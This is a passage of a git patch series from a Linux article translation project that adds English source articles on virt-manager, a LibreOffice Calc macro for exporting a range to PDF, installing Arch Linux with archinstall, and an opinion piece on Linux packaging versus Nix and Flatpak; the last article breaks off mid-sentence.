From a6517ef421707ce98233e37004e9d81ea176160d Mon Sep 17 00:00:00 2001 From: zouchong Date: Sun, 11 Sep 2022 17:25:30 +0800 Subject: [PATCH 01/18] hankchow translating --- ...06 How to send raw network packets in Python with tun-tap.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sources/tech/20220906 How to send raw network packets in Python with tun-tap.md b/sources/tech/20220906 How to send raw network packets in Python with tun-tap.md index 836dff1842..f7f5e863bf 100644 --- a/sources/tech/20220906 How to send raw network packets in Python with tun-tap.md +++ b/sources/tech/20220906 How to send raw network packets in Python with tun-tap.md @@ -2,7 +2,7 @@ [#]: via: "https://jvns.ca/blog/2022/09/06/send-network-packets-python-tun-tap/" [#]: author: "Julia Evans https://jvns.ca/" [#]: collector: "lujun9972" -[#]: translator: " " +[#]: translator: "HankChow" [#]: reviewer: " " [#]: publisher: " " [#]: url: " " From 6f3d2067c95e32cc83c470e4e8289a7898f99dbc Mon Sep 17 00:00:00 2001 From: lkxed Date: Sun, 11 Sep 2022 17:43:19 +0800 Subject: [PATCH 02/18] =?UTF-8?q?[=E6=89=8B=E5=8A=A8=E9=80=89=E9=A2=98][te?= =?UTF-8?q?ch]:=2020220910=20How=20to=20Install=20and=20Use=20virt-manager?= =?UTF-8?q?=20Virtual=20Machine=20Manager=20in=20Ubuntu=20and=20Other=20Li?= =?UTF-8?q?nux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...chine Manager in Ubuntu and Other Linux.md | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 sources/tech/20220910 How to Install and Use virt-manager Virtual Machine Manager in Ubuntu and Other Linux.md diff --git a/sources/tech/20220910 How to Install and Use virt-manager Virtual Machine Manager in Ubuntu and Other Linux.md b/sources/tech/20220910 How to Install and Use virt-manager Virtual Machine Manager in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..210802eb74 --- /dev/null +++ b/sources/tech/20220910 How to Install and Use virt-manager Virtual Machine Manager in Ubuntu and Other Linux.md @@ -0,0 +1,45 @@ +[#]: subject: "How to Install and Use virt-manager Virtual Machine Manager in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/virt-manager/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How to Install and Use virt-manager Virtual Machine Manager in Ubuntu and Other Linux +====== +virt-install + +A comprehensive guide on how to install and use virt-manager virtual machine emulator in Ubuntu and other Linux systems. + +The virt-manager application or package uses the [libvirt][1] library to provide virtual machine management services. It has a desktop interface that helps to create, delete, and manage multiple virtual machines. + +It is primarily used for KVM VMs but can support other hypervisors as well, such as Xen, and LXC. + +The user interface provides a summary view of all VMs their status, CPU usages, LIVE performance graph of running VMs, and resource utilization statistics. + +There are other popular Virtual machine managers available such as [GNOME Boxes][2] and Oracle Virtual box. GNOME Boxes is easy, but it’s buggy and depends heavily on GTK and GNOME-related packages. Oracle Virtual Box is good, but I feel it is unnecessary and complex and has a complicated UI. + +But the [virt-manager][3] is super easy and can be used on any Linux distribution. + +When you install the virt-manager package, it comes with five components. + +**virt-install**: Command-line utility to provision OS**virt-viewer**: The UI interface with graphical features**virt-clone**: Command-line tool to close existing inactive hosts**virt-xml**: Command-line tool for easily editing libvirt domain XML using virt-install’s command-line options.**virt-bootstrap**: Command tool providing an easy way to set up the root file system for libvirt-based containers. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/virt-manager/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://libvirt.org/manpages/libvirtd.html +[2]: https://www.debugpoint.com/install-use-gnome-boxes/ +[3]: https://virt-manager.org/ From bc3630c8109392db7b10d85836f4780e76492488 Mon Sep 17 00:00:00 2001 From: lkxed Date: Sun, 11 Sep 2022 17:44:20 +0800 Subject: [PATCH 03/18] =?UTF-8?q?[=E6=89=8B=E5=8A=A8=E9=80=89=E9=A2=98][te?= =?UTF-8?q?ch]:=2020220910=20Export=20or=20Save=20As=20PDF=20A=20Specific?= =?UTF-8?q?=20Range=20in=20LibreOffice=20Calc=20Sheets=20using=20Macro.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... in LibreOffice Calc Sheets using Macro.md | 161 ++++++++++++++++++ 1 file changed, 161 insertions(+) create mode 100644 sources/tech/20220910 Export or Save As PDF A Specific Range in LibreOffice Calc Sheets using Macro.md diff --git a/sources/tech/20220910 Export or Save As PDF A Specific Range in LibreOffice Calc Sheets using Macro.md b/sources/tech/20220910 Export or Save As PDF A Specific Range in LibreOffice Calc Sheets using Macro.md new file mode 100644 index 0000000000..476d5c0ac2 --- /dev/null +++ b/sources/tech/20220910 Export or Save As PDF A Specific Range in LibreOffice Calc Sheets using Macro.md @@ -0,0 +1,161 @@ +[#]: subject: "Export or Save As PDF A Specific Range in LibreOffice Calc Sheets using Macro" +[#]: via: "https://www.debugpoint.com/export-or-save-as-pdf-a-specific-range-in-libreoffice-calc-sheets-using-macro/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Export or Save As PDF A Specific Range in LibreOffice Calc Sheets using Macro +====== +A simple program to show you how you can export range from LibreOffice as pdf using macro. + +Exporting a LO sheet’s content to PDF is often necessary because of the wide use of PDF files for distributions, reporting etc. In the earlier tutorial, I showed how to export [an entire sheet’s content to a pdf file][1]. In this tutorial, I will show how to export a specific range (e.g. A1:B2 etc.) as a content of a pdf file. + +How to export an entire sheet to pdf tutorial can be found [here][2]. + +### Export A Range from Sheet as PDF Using Macro in LibreOffice + +I have source data like this (see below). + +The pdf should contain the colour and values from A1 to I3 range, and the pdf file name should contain the current Date, the Sheet Name (i.e. in this example, ‘mySheet’) and a fixed value from a cell (i.e. in this example B5). + +The reason I have added all these types of cells is to show you that all formatting is preserved when you export the entire range to PDF. + +![Source LO Sheet][3] + +### Details of the Macro + +There are two parts to this macro. + +First, to prepare the pdf file name dynamically based on a specific value. The pdf file includes the sheet name, a value from B5 cell and the date. Below is a piece of code that does this part: + +``` +dim fileName + fileName = ThisComponent.Sheets(0).Name & _ + "_ratie_" & ThisComponent.Sheets(0).getCellRangebyName("B5").String & _ + "_" & Replace(Date,"/","-") & ".pdf" +``` + +**[update#1]**One of our readers asked about how to get the Active sheet name, Or the name of the current Calc sheet selected. To get the current active selected sheet’s name, use the below code: + +``` +fileName = ThisComponent.getCurrentController.getActiveSheet.Name +``` + +Now, create an `Frame` object and dispatcher object to Uno service `com.sun.star.frame.DispatchHelper`, which would help to export the pdf via function. + +Create an empty file as well, in any path of your own and close the file. + +``` +' change the path below as per your needs + path ="file:///home/arindam/" & fileName + Open path For Append As #1 + Close #1 +``` + +Now, it’s time to put the content inside the pdf. + +To do that, we need to use Filters. Filters are the types and value pairs that can be put in an array and passed to executeDispatch function as an argument. The types are pre-defined, and when passed they will be processed as what they are supposed to do. + +In this example, we need to pass the filename and the Range of LO Sheet, which needed to be printed only in the pdf, nothing else from the active sheet. The in-built Filter property `FilterData` to be used here. + +``` +document = ThisComponent.CurrentController.Frame + dispatcher = createUnoService("com.sun.star.frame.DispatchHelper") + + oSheet = ThisComponent.CurrentController.getActiveSheet() + oCellRange = oSheet.getCellRangeByName("A1:I3") + + dim aFilterData(0) as new com.sun.star.beans.PropertyValue + aFilterData(0).Name = "Selection" + aFilterData(0).Value = oCellRange + + dim args1(1) as new com.sun.star.beans.PropertyValue + args1(0).Name = "URL" + args1(0).Value = "file:///home/arindam/" & fileName ' change the path below as per your needs + + args1(1).Name = "FilterData" + args1(1).Value = aFilterData() +``` + +Now pass this argument to the `executeDispatch` function as an argument. + +``` +dispatcher.executeDispatch(document, ".uno:ExportDirectToPDF", "", 0, args1()) +``` + +### Running the Macro + +Here is the pdf file that is created with the range of contents for this tutorial: + +![PDF File Created After Run][4] + +![Run – pdf Contents][5] + +### Complete Macro + +``` +Sub ExportRangeToPDF() + dim document as object + dim dispatcher as object + dim fileName + fileName = ThisComponent.Sheets(0).Name & _ + "_ratie_" & ThisComponent.Sheets(0).getCellRangebyName("B5").String & _ + "_" & Replace(Date,"/","-") & ".pdf" + document = ThisComponent.CurrentController.Frame + dispatcher = createUnoService("com.sun.star.frame.DispatchHelper") + + oSheet = ThisComponent.CurrentController.getActiveSheet() + oCellRange = oSheet.getCellRangeByName("A1:I3") + + dim aFilterData(0) as new com.sun.star.beans.PropertyValue + aFilterData(0).Name = "Selection" + aFilterData(0).Value = oCellRange + + ' change the path below as per your needs + path ="file:///home/arindam/" & fileName + Open path For Append As #1 + Close #1 + + dim args1(1) as new com.sun.star.beans.PropertyValue + args1(0).Name = "URL" + args1(0).Value = "file:///home/arindam/" & fileName ' change the path below as per your needs + + args1(1).Name = "FilterData" + args1(1).Value = aFilterData() + + dispatcher.executeDispatch(document, ".uno:ExportDirectToPDF", "", 0, args1()) +End Sub +``` + +If you face any problem running this, drop a comment using the comment box below. + +#### References + +* [Filters][6] +* [Filter list][7] +* [service mediaDescriptor][8] + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/export-or-save-as-pdf-a-specific-range-in-libreoffice-calc-sheets-using-macro/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/export-or-save-as-pdf-in-libreoffice-calc-sheets-using-macro/ +[2]: http://www.debugpoint.com/2014/10/export-or-save-as-pdf-in-libreoffice-calc-sheets-using-macro/ +[3]: https://www.debugpoint.com/wp-content/uploads/2015/08/Source-LO-Sheet.png +[4]: https://www.debugpoint.com/wp-content/uploads/2015/08/PDF-File-Created-After-Run.png +[5]: https://www.debugpoint.com/wp-content/uploads/2015/08/Run-pdf-Contents.png +[6]: https://wiki.openoffice.org/wiki/API/Tutorials/PDF_export#PDF_Export_filter_data +[7]: https://wiki.openoffice.org/wiki/Framework/Article/Filter/FilterList_OOo_3_0 +[8]: https://www.openoffice.org/api/docs/common/ref/com/sun/star/document/MediaDescriptor.html From e97e53c6a30dbbb87dcba3ba5bcba62d2a2c80a9 Mon Sep 17 00:00:00 2001 From: lkxed Date: Sun, 11 Sep 2022 17:45:47 +0800 Subject: [PATCH 04/18] =?UTF-8?q?[=E6=89=8B=E5=8A=A8=E9=80=89=E9=A2=98][te?= =?UTF-8?q?ch]:=2020220911=20Installing=20Arch=20Linux=20Using=20archinsta?= =?UTF-8?q?ll=20Automated=20Script=20[Complete=20Guide].md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...stall Automated Script [Complete Guide].md | 247 ++++++++++++++++++ 1 file changed, 247 insertions(+) create mode 100644 sources/tech/20220911 Installing Arch Linux Using archinstall Automated Script [Complete Guide].md diff --git a/sources/tech/20220911 Installing Arch Linux Using archinstall Automated Script [Complete Guide].md b/sources/tech/20220911 Installing Arch Linux Using archinstall Automated Script [Complete Guide].md new file mode 100644 index 0000000000..6a46f7ed7f --- /dev/null +++ b/sources/tech/20220911 Installing Arch Linux Using archinstall Automated Script [Complete Guide].md @@ -0,0 +1,247 @@ +[#]: subject: "Installing Arch Linux Using archinstall Automated Script [Complete Guide]" +[#]: via: "https://www.debugpoint.com/archinstall-guide/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Installing Arch Linux Using archinstall Automated Script [Complete Guide] +====== +In this guide, we explain the super easy way of installing Arch Linux using the automated script archinstall. Intended for beginner to advanced users. + +Installing Arch Linux is still troublesome for many new users. It requires a fair amount of knowledge of the commands, and inner workings of a Linux system, including boot process, Kernel and Grub concepts. And these are not known to many. But new users still want to install and experience Arch Linux. + +I personally feel that operating system installation should always be simple in this age of computing. Things should be abstracted to the end user as much as possible. After all, all operating systems exist for one purpose – to help the end user perform certain tasks and help them. + +### What is the archinstall automated script? + +That said, we covered installing Arch Linux as a bare metal system a while back. Since then, the Arch Linux team came up with an automated and interactive script called [archinstall][1]. This script is a far easy way to install Arch Linux today, and can be done by anyone. + +That leads us to the intent of this Arch Linux installation guide, using this automated script called archinstall. + +Let’s dig in. + +### Guide to install Arch Linux using archinstall script + +I would split this guide into three sections. First, download Arch Linux .ISO file, and create a disk to boot. Second is the actual installation, and finally, configuration with an example desktop. + +#### Section 1: Download .ISO file + +Visit the below link. Download the .ISO file of Arch Linux. You can go for a direct HTTP download or use torrent/magnet files. + +[Download Arch Linux][2] + +Once downloaded, create a bootable USB stick using [Etcher][3] or another utility. + +Once done, plug in the USB stick and boot from it. + +Before you begin the next section, ensure you are connected to the internet. In general, if you are in a wired network, you should be good. If you need to configure Wi-Fi via the command line in Arch – follow this guide. Just make sure you are connected to the internet. + +#### Section 2: Install using archinstall + +Once the boot is complete, you should see a prompt like the below. Type `archinstall` and hit enter. + +![First prompt for archinstall][4] + +The command will check for internet connectivity to the Arch Linux mirrors. And once done, a series of prompts (like this) will pop up. All you have to do is read and respond. + +Ideally, you should follow the easy and basic options. Because if you are a new Arch Linux user, then it is recommended to use the basic options outlined below; probably next time, you can be more daring to experiment with other options. + +Fair enough? Okay. + +##### Section 2.1: Set up keyboard, layout and locale + +On this screen, you can see the blue selection. You can navigate it via the keyboard and hit enter to set values. Once set, press escape. + +Based on your download, some of the options would already be set up with defaults e.g. Locale=en_US. You can either keep them as it is or go ahead and change. + +For my test system, here’s what I got as a first screen. + +![First screen of archinstall][5] + +So, the first question is about the **Keyboard Layout** type. It is shown by the two-byte country-specific layout codes. You can either keep the default or press enter to change it. For English-US, the keyboard layout would be “us”. + +Keep the **mirror** region blank. + +**Locale language** to be set as per your language of choice. I am keeping it as default for English US i.e. en_US. + +Select locale **encoding** as UTF-8. + +##### Section 2.2: Create partition, set mount points + +Next up is the hard drive selection. Move the blue selector to Drive and hit enter. + +The script auto-detects the available drives in your target system. + +For example, the below image shows that 20 GB /dev/vda as the primary block device. That is where I am going to install the system. Select it and hit enter. + +![Select target disk][6] + +You should see the drive is selected with number 1. Next, select **Disk Layout** and hit enter. + +The next screen is important. It is where you create the partition table for installation. You should see two options here. Either you manually create a partition (the first option), Or erase everything and install Arch (the second option). + +![Either-you-create-partition-or-wipe-out-everything-from-your-disk][7] + +If you are a beginner and installing a virtual machine, you may choose the **first option** (Wipe out…). Remember it will **delete everything** from your disk. + +If you are not sure, select the second option (select what to do…). + +Here, you have to create a partition, select layout, and then exit. Follow these chronologically. + +![Follow these steps to create a partition][8] + +Here’s a sample set of screens to create a partition. + +![Creating a simple partition][9] + +For this guide, I have created the following two partitions – boot and root for installation. + +**Boot partition** + +* type is fat32 +* start at 3MB +* ends at 203MB +* mountpoint = /boot [via menu option: `assign mount point for a partition`] +* boot = True [via menu option: `Mark/unmark a partition as bootable`] +* Wipe = True [via menu option: `Mark/unmark a partition to be formatted`] + +Repeat the above steps for the root partition. + +**Root partition** + +* type is ext4 +* start at 206MB +* ends: 100% +* mountpoint = / [via menu option: `assign mount point for a partition`] +* Wipe = True [via menu option: `Mark/unmark a partition to be formatted`] + +Final partition table may look like this: + +![Final partition for this guide][10] + +Select Save and Exit. + +##### Section 2.3: Create an account and other stuff + +Choose the following options for the next set of items. + +| - | - | +| :- | :- | +| Bootloader | grub-install | +| swap | True | +| hostname | change it to something you like (I have used debugpoint) | +| root password | set a root password | +| user account | create an account with id and password to login to arch system | + +In the **profile** option, you will have four options. Select desktop. Then choose your favourite desk environment (e.g. GNOME, KDE, Xfce etc..). Next is to choose the graphics driver. On this screen, if you know about your graphics card, you select NVIDIA or Intel. If you are not sure choose `"All open source (default)"` option. + +![Select desktop environment while installing archlinux][11] + +Select audio to **pipewire** (default) or pulseaudio. + +Then select Kernel = `linux`. There are options such as linux-hardened, linux-zen and linux-lts. If you know what those means, then choose accordingly. If you are not sure choose the default kernel: `linux`. + +You can also specify the **additional packages** to install if you know the package names. For this guide I have selected the below as additional packages. + +``` +firefox dhcpcd vlc net-tools xorg lightdm lightdm-gtk-greeter nano network-manager-applet +``` + +Choose Network configuration to **Network Manager**. Keep the rest of the items as default and finally hit **save configuration** **> Save all > save to /home**. + +##### Section 2.4: Final installation + +Hit **install** to start the installation process. + +![archinstall started][12] + +At this step, archinstall program will start downloading the packages for installation. After installation is complete, it would prompt you whether you want to log in to the chroot and do some maintenance before the final reboot. + +![final maintenance using chroot][13] + +You should say yes and log in to the chroot. And then make sure you enabled the display manager to get a login screen using the following set of commands: + +``` +systemctl enable lightdm +``` + +``` +systemctl enable NetworkManager +``` + +Finally, reboot the system. + +``` +reboot +``` + +If you have followed the steps, then you should see a GRUB with an Arch Linux menu and a login screen to login. + +#### Section 3 – Install additional desktop environments + +After you install the base system/desktop using the above method, you can install any additional desktop environment such as GNOME, KDE Plasma, MATE – so on. We have several guides for each of them on the below pages. You can visit your choice of desktop installation page and jump straight to the bottom of these pages for exact command to install a desktop. + +* [Xfce][14] +* [GNOME][15] +* [KDE Plasma][16] +* [Cinnamon][17] +* [LXQt][18] + +For example, if you want to install GNOME Desktop with basic components, you can simply run the below command to install. + +``` +sudo pacman -S --needed gnome gnome-tweaks nautilus-sendto gnome-nettool gnome-usage gnome multi-writer adwaita-icon-theme chrome-gnome-shell xdg-user-dirs-gtk fwupd arc-gtk-theme seahosrse gdm firefox gedit +``` + +``` +systemctl enable gdm +``` + +``` +systemctl enable NetworkManager +``` + +Once you are done, type reboot. + +And congratulations. You have finally installed Arch Linux using the awesome archinstall script using this guide. + +### Closing Notes + +I believe, this is one of the impressive scripts that have been developed by the team. And it is definitely going to increase the coverage of Arch Linux with a growing user base. + +Having trouble using this archinstall guide? Let me know in the comment section below. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/archinstall-guide/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://github.com/archlinux/archinstall +[2]: https://archlinux.org/download/ +[3]: https://www.debugpoint.com/2021/01/etcher-bootable-usb-linux/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/01/image.png +[5]: https://www.debugpoint.com/wp-content/uploads/2022/01/First-screen-of-archinstall.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/01/Select-target-disk.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/09/Either-you-create-partition-or-wipe-out-everything-from-your-disk.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/01/Follow-these-steps-to-create-a-partition.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/01/Creating-a-simple-partition.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/01/Final-partition-for-this-guide.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/01/Select-desktop-environment-while-installing-archlinux.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/01/archinstall-started.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/01/final-maintenance-using-chroot.jpg +[14]: https://www.debugpoint.com/2020/12/xfce-arch-linux-install-4-16/ +[15]: https://www.debugpoint.com/2020/12/gnome-arch-linux-install/ +[16]: https://www.debugpoint.com/2021/01/kde-plasma-arch-linux-install/ +[17]: https://www.debugpoint.com/2021/02/cinnamon-arch-linux-install/ +[18]: https://www.debugpoint.com/2020/12/lxqt-arch-linux-install/ From c63c51498050612ceb85d72ecf5f63298f1dc887 Mon Sep 17 00:00:00 2001 From: lkxed Date: Sun, 11 Sep 2022 17:47:52 +0800 Subject: [PATCH 05/18] =?UTF-8?q?[=E6=89=8B=E5=8A=A8=E9=80=89=E9=A2=98][ta?= =?UTF-8?q?lk]:=2020220910=20Traditional=20Linux=20Packaging=20is=20not=20?= =?UTF-8?q?Suitable=20for=20Modern=20Applications=20[Opinion].md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...table for Modern Applications [Opinion].md | 223 ++++++++++++++++++ 1 file changed, 223 insertions(+) create mode 100644 sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md diff --git a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md b/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md new file mode 100644 index 0000000000..8826621d5f --- /dev/null +++ b/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md @@ -0,0 +1,223 @@ +[#]: subject: "Traditional Linux Packaging is not Suitable for Modern Applications [Opinion]" +[#]: via: "https://news.itsfoss.com/traditional-packaging-modern-applications/" +[#]: author: "Community https://news.itsfoss.com/author/team/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Traditional Linux Packaging is not Suitable for Modern Applications [Opinion] +====== +Open source contributor Hari Rana expresses his opinion on why traditional Linux packages are no longer suitable for modern applications. + +![Traditional Linux Packaging is not Suitable for Modern Applications [Opinion]][1] + +Image by: [Kelli McClintock][2] on [Unsplash][3] + +I repeatedly encounter users complaining about LTS and stable distributions having issues with application packages, but then claim that no such thing ever happens with bleeding-edge distributions. However, with my experience and knowledge with the technical side of packaging, I can’t emphasize enough that this is untrue. + +Distribution model is hardly the issue here; the fundamental issue is that traditional packaging is not suitable for modern graphical applications, no matter the distribution model. And how formats like Nix and Flatpak have managed to address these fundamental problems. Interestingly, most servers do make use of containerization (i.e., Docker), because it improves reproducibility and enhances maintainability. We could take inspiration from this and adopt a similar standard that is suitable for the Linux desktop. + +### Disclaimer + +1. “Traditional packaging” is defined as distributions shipping graphical applications using distribution package managers without the use of containers, such as apt, dnf, pacman, and more. +2. “Distribution model” is defined as the releasing process, such as long-term support (LTS), stable, and bleeding-edge. +3. “Similar application(s)” is defined as two applications that are technically really similar, like [Visual Studio Code][4] and [Code - OSS][5]. +4. I’ll be using Arch Linux as a reference for most of these examples. However, these behaviors are consistent with distributions that heavily practice traditional packaging. +5. Nix does not use containers, nor is it a container format. However, for the sake of simplicity, I will be referring it as a container format. + +### The Fundamental Problem + +![][6] + +Image by: [Jackson Simmer][7] on [Unsplash][8] + +Most, if not all, distributions that heavily practice traditional packaging share this common problem: none of them leverage containers or other convenient methods to separate dependencies. In Layman’s terms, a container is a box in which we can put things and use them separately without affecting the main system (host). + +Containers usually don’t affect anything outside of the “box”. They’re also portable, as they’re installable on other distributions while still providing a consistent experience. With package managers that leverage them, they install each package in different containers, which provide an additional layer of safety. This gives packagers a lot more control and flexibility with what can be bundled inside their packages. + +Traditional packaging introduces several issues, such as dependency and package conflicts, which usually require workarounds that differ from one distribution to another. + +#### Dependency and Package Conflicts + +If we attempt to install [Visual Studio Code][9] ([visual-studio-code-bin][10]) while [Code - OSS][11] ([code][12]) is installed on Arch Linux, we will run into this issue: + +``` +$ paru -S visual-studio-code-bin +[...] + +:: Conflicts found: + visual-studio-code-bin: code + +:: Conflicting packages will have to be confirmed manually + +Aur (1) Old Version New Version Make Only +aur/visual-studio-code-bin 1.70.1-1 No +``` + +This is called a package conflict, whereby two or more packages cannot coexist. In this case we cannot install Visual Studio Code alongside Code - OSS. + +When two applications or packages provide the same file(s), with the same names and are placed in the same directory, then they literally cannot coexist, because these files will then collide. In this example, both Visual Studio Code and Code - OSS provide a `code` file, which are both placed in `/usr/bin`. The `code` file that Visual Studio Code provides is used to launch Visual Studio Code, whereas the `code` file from Code - OSS is used to launch Code - OSS. + +While this example only showcases Visual Studio Code and Code - OSS, this often happens with different sets of applications, libraries and others. + +#### Unable to Cherry Pick Dependencies + +![][13] + +Image by: [Priscilla Du Preez][14] on [Unsplash][15] + +One of the biggest issues with traditional packaging is that packagers cannot cherry-pick dependencies. + +For example, if an application recently updated and requires dependency A version 1, but the distribution only ships dependency A version 0.9, then it would not be ideal for upgrading the application, as the distribution will not meet the requirements. This means the packager will have to hold back the package until the new dependency is released for the distribution, or resort to workarounds. + +Likewise, if an application requires dependency A version 0.8.1, but the distribution ships dependency A version 0.9, then the application can misbehave or even not work altogether. + +##### Patched Libraries and Build Configurations + +To expand, several applications require patched libraries or additional build options to function correctly. For example, OBS Studio requires a [patched FFmpeg][16] to integrate neatly with OBS Studio. + +With traditional packaging, there can only be one variant of the dependency installed at a time. If the distribution ships an unpatched FFmpeg, then there’s no way to install a patched FFmpeg unless the packager works around that. If the patched FFmpeg is installed, but another program relies specifically on an unpatched FFmpeg, an FFmpeg with other patches, or an FFmpeg with additional features built-in or removed, then that other program can misbehave. + +Modern applications are inherently fragile. One small mistake or inconsistency within the dependency tree can cause an application to misbehave and worsen the user experience, and may even give the impression that the application is at fault and not the package itself, which can hinder the application’s reputation. + +#### Workarounds + +Let’s look at current workarounds that packagers use to package applications. + +1. The first workaround is to install dependencies in different directories. Electron, for example, is a massive framework that developers use to build applications on top of, and later bundle them. However, Electron based applications vary, as they are built on top of different versions of Electron. Discord bundles and ships Electron 13, whereas Element bundles and ships Electron 19. For Electron packaging on Arch Linux, certain directories require to be installed in `/opt/APPLICATION_NAME`, so these Electron versions [don’t conflict with each other][17]. +2. The second workaround is to tamper with the application. For example, patching an application to build without certain dependencies or features can make the application build for the distribution, but there’s no guarantee that the application will either launch or work as intended. +3. The third workaround is to build the application with many build options disabled, which may also disable functionality. For example, on Arch Linux, OBS Studio is built with many essential features disabled, which [results in a subpar experience][18]. + +These workarounds vary on a case-by-case basis, some of which can limit the functionality of the application, some can introduce stability issues, etc. + +#### Inconsistent Experience + +![A view of a crater in the volcanic national park, Timanfaya, in Lanzarote (Canary Islands) in Spain.][19] + +Image by: [alevision.co][20] on [Unsplash][21] + +While these technical limitations are consistent throughout traditional packaging, the user experience is often not. Distribution models paired with traditional packaging impact the user experience because of how packages are shipped. + +Some distributions, like Arch Linux, are close to bleeding-edge and thus have the latest versions of packages. However, Debian and Ubuntu LTS are LTS distributions, so a lot of their packages are several versions behind. Meanwhile, Fedora Linux and Ubuntu Stable are between Debian/Ubuntu LTS and Arch Linux. + +Some distributions prefer to patch packages as least as possible to keep them closest to vanilla, whereas some others patch to add more functionality, work with older libraries, or other sorts of changes to improve user experience. Some distributions prefer to build with minimal build options enabled, whereas others may prefer to add more built-in features if possible. The list goes on. + +As we can see, a single application is built very differently across distributions. Furthermore, dependencies are also built differently from distribution to distribution. Many technical limitations with traditional packaging require different workarounds depending on the distribution model and packaging policies. These minor changes often give incomplete, subpar experiences and wrong impressions to the user. Some applications may work better with some distributions but work badly with others, whereas some other applications may work better with other sets of distributions. Even though a single application is built differently on each distribution, the name and branding is kept as-is, giving users the wrong impression. + +### The Solution + +![][22] + +[Riccardo Annandale][23] + +[Unsplash][24] + +As mentioned earlier, the solution to these problems is using containers. + +Containers are designed to separate several aspects of the system. With the use of containers, packagers can cherry pick dependencies without being limited by host libraries. Packagers can thus ship the latest, feature complete builds of packages, while retaining the stability of the distribution. + +This is really important, as these container formats can push applications and distributions to their boundaries, without affecting the system destructively. + +#### Nix and Flatpak + +[Nix][25] is a cross-platform package manager to work in Unix-like operating systems like Linux distributions, BSDs and macOS. Nix has several [channels][26] (branches) that users can use. + +[Flatpak][27], on the other hand, is a universal package format for the Linux desktop that also leverages containers but additionally sandboxes to isolate them. It is intended to be used by the average person in the future and is designed to be integrated with software stores, such as GNOME Software and KDE Discover. In other words, Flatpak is more of an extension for distributions, rather than a replacement, as it is literally designed not to replace system package managers. + +Nix can also be used as an extension or exclusively if using distributions like NixOS. + +#### Similar Applications + +Nix and Flatpak address many fundamental problems with traditional packaging. Thanks to the separation of applications, these formats can have similar applications installed, like Visual Studio Code and Code - OSS, without running into conflicts. + +#### Multiple Branches + +Nix and Flatpak can install multiple versions of the same application. With Nix, I can install applications from the `nixpkgs-stable` (LTS) channel while also having the same application installed from the `nixpkgs-unstable` (bleeding-edge) channel. + +Likewise, with Flatpak, I can install applications from the `stable` and `beta` branch simultaneously. I can continue installing the same application from many more channels and branches, without them ever running into packaging conflicts. + +#### Cherry Pick Dependencies + +![cherry-picking][28] + +Image by: [Ish de loyola][29] on [Unsplash][30] + +Additionally, packagers can bundle applications with different variants of libraries, giving the opportunity to enable more build options and use patched or specific versions of libraries, and thus providing a complete experience to the user. + +This means packagers can bundle patched FFmpeg with OBS Studio solely for the use of OBS Studio. If I have a vanilla FFmpeg installed on the host, then the patched FFmpeg for OBS Studio won’t interfere or conflict with the host FFmpeg. + +#### Consistent Environments Across Distributions + +As mentioned earlier, distributions build applications using different patches, build options and environments. This leads to a fragmentation of applications where every application is built and often works differently. Since Nix and Flatpak are designed to run across distributions, they provide consistent environments in each and every distribution for applications, assuming distributions ship supported versions of Nix or Flatpak. + +#### Disadvantages + +Just like everything, Nix and Flatpak are imperfect. Since containers are recently getting pushed on the Linux desktop, they may provide unusual environments to many applications. + +Flatpak not only contains applications, it also sandboxes them. Flatpak developers have implemented a short-term workaround that 